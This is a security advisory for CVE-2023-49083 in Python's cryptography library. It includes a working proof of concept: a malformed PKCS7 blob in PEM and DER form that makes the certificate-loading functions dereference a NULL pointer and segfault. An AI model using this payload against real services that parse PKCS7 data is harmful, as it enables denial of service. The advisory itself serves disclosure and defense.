CVE-2023-49083

### Summary

‍
Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.

### PoC
Here is a Python code that triggers the issue:
```python
from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates

pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""

der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)
```

### Impact
Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.